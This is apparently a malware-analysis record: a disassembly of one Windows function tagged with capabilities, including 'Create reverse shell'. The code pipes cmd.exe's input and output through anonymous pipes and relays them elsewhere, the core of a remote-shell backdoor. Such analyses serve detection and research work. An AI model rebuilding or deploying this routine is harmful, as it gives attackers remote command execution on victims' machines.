Function at 0x40999c
Capabilities:
Create pipe
Create process on windows
Create reverse shell
Create two anonymous pipes
Read file on windows
Read pipe
Terminate process
Write and execute a file
Write file on windows
Write pipe

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2028
call fcn.00465390
mov eax, dword [0x4b26f0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreatePipe]
xor ebx, ebx
push edi
mov dword [ebp - 0x1fc4], eax
xor edi, edi
push ebx
lea eax, [ebp - 0x1fd4]
mov dword [ebp - 0x1fd4], 0xc
push eax
lea eax, [ebp - 0x1fb0]
mov dword [ebp - 0x1fd0], ebx
push eax
lea eax, [ebp - 0x1fb8]
inc edi
push eax
mov dword [ebp - 0x1fcc], edi
call esi
test eax, eax
je 0x409ce5
push ebx
lea eax, [ebp - 0x1fd4]
push eax
lea eax, [ebp - 0x1fbc]
push eax
lea eax, [ebp - 0x1fac]
push eax
call esi
test eax, eax
jne 0x409a2d
push dword [ebp - 0x1fb8]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x409cdb
lea eax, [ebp - 0x2028]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
xor eax, eax
mov dword [ebp - 0x1ffc], 0x101
mov word [ebp - 0x1ff8], ax
mov eax, dword [ebp - 0x1fbc]
mov dword [ebp - 0x1fec], eax
mov dword [ebp - 0x1fe8], eax
mov eax, dword [ebp - 0x1fb8]
mov dword [ebp - 0x1ff0], eax
lea eax, [ebp - 0x1fe4]
push eax
lea eax, [ebp - 0x2028]
push eax
push ebx
push ebx
push 0x10
push edi
push ebx
push ebx
push ebx
push str.c:Windows_system32cmd.exe
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x409a9b
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x409cc5
push 0x1fa0
lea eax, [ebp - 0x1fa4]
mov dword [ebp - 0x1fb4], ebx
push ebx
push eax
call fcn.004653c0
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0xc
push 0xfa
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
lea eax, [ebp - 0x1fb4]
push eax
push dword [ebp - 0x1fe4]
call edi
cmp dword [ebp - 0x1fb4], 0x103
jne 0x409c9c
mov ebx, dword [sym.imp.KERNEL32.dll_ReadFile]
cmp dword [0x4b94a8], 0
jne 0x409c9a
push 0
lea eax, [ebp - 0x1fc8]
push eax
lea eax, [ebp - 0x1fa8]
push eax
push 0x3ff
lea eax, [ebp - 0x1fa4]
push eax
push dword [ebp - 0x1fac]
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
cmp dword [ebp - 0x1fa8], 0
je 0x409bf5
push 0x1fa0
lea eax, [ebp - 0x1fa4]
push 0
push eax
call fcn.004653c0
mov eax, 0x1f9f
add esp, 0xc
cmp dword [ebp - 0x1fc8], eax
jbe 0x409bbe
cmp dword [ebp - 0x1fa8], eax
jb 0x409bf5
mov esi, dword [ebp - 0x1fc4]
push 0
lea eax, [ebp - 0x1fa8]
push eax
push 0x1fa0
lea eax, [ebp - 0x1fa4]
push eax
push dword [ebp - 0x1fac]
call ebx
push 0x1fa0
lea eax, [ebp - 0x1fa4]
push eax
push esi
call fcn.00409f28
push 0x1fa0
lea eax, [ebp - 0x1fa4]
push 0
push eax
call fcn.004653c0
add esp, 0x18
cmp dword [ebp - 0x1fa8], 0x1f9f
jae 0x409b65
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x409bf5
push 0
lea eax, [ebp - 0x1fa8]
push eax
push 0x1fa0
lea eax, [ebp - 0x1fa4]
push eax
push dword [ebp - 0x1fac]
call ebx
push 0x1fa0
lea eax, [ebp - 0x1fa4]
push eax
push dword [ebp - 0x1fc4]
call fcn.00409f28
add esp, 0xc
cmp dword [0x4b7500], 1
jne 0x409c74
push 0x1fa0
lea eax, [ebp - 0x1fa4]
push 0
push eax
call fcn.004653c0
add esp, 0xc
mov byte [ebp - 0x1fc0], 0xa
lea eax, [ebp - 0x1fa8]
push 0
push eax
push dword [0x4b7504]
push 0x4b7508
push dword [ebp - 0x1fb0]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea eax, [ebp - 0x1fa8]
push eax
push 1
lea eax, [ebp - 0x1fc0]
push eax
push dword [ebp - 0x1fb0]
call dword [sym.imp.KERNEL32.dll_WriteFile]
movsx eax, byte [ebp - 0x1fa4]
push eax
push 0x483f6c
call fcn.0046599f
and dword [0x4b7500], 0
pop ecx
pop ecx
push 0xfa
call esi
lea eax, [ebp - 0x1fb4]
push eax
push dword [ebp - 0x1fe4]
call edi
cmp dword [ebp - 0x1fb4], 0x103
je 0x409aee
xor ebx, ebx
push ebx
push dword [ebp - 0x1fe4]
mov dword [0x4b94a8], ebx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [ebp - 0x1fe0]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x1fe4]
call esi
push dword [ebp - 0x1fb8]
call esi
push dword [ebp - 0x1fbc]
call esi
push dword [ebp - 0x1fac]
call esi
push dword [ebp - 0x1fb0]
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00462f14
mov esp, ebp
pop ebp
ret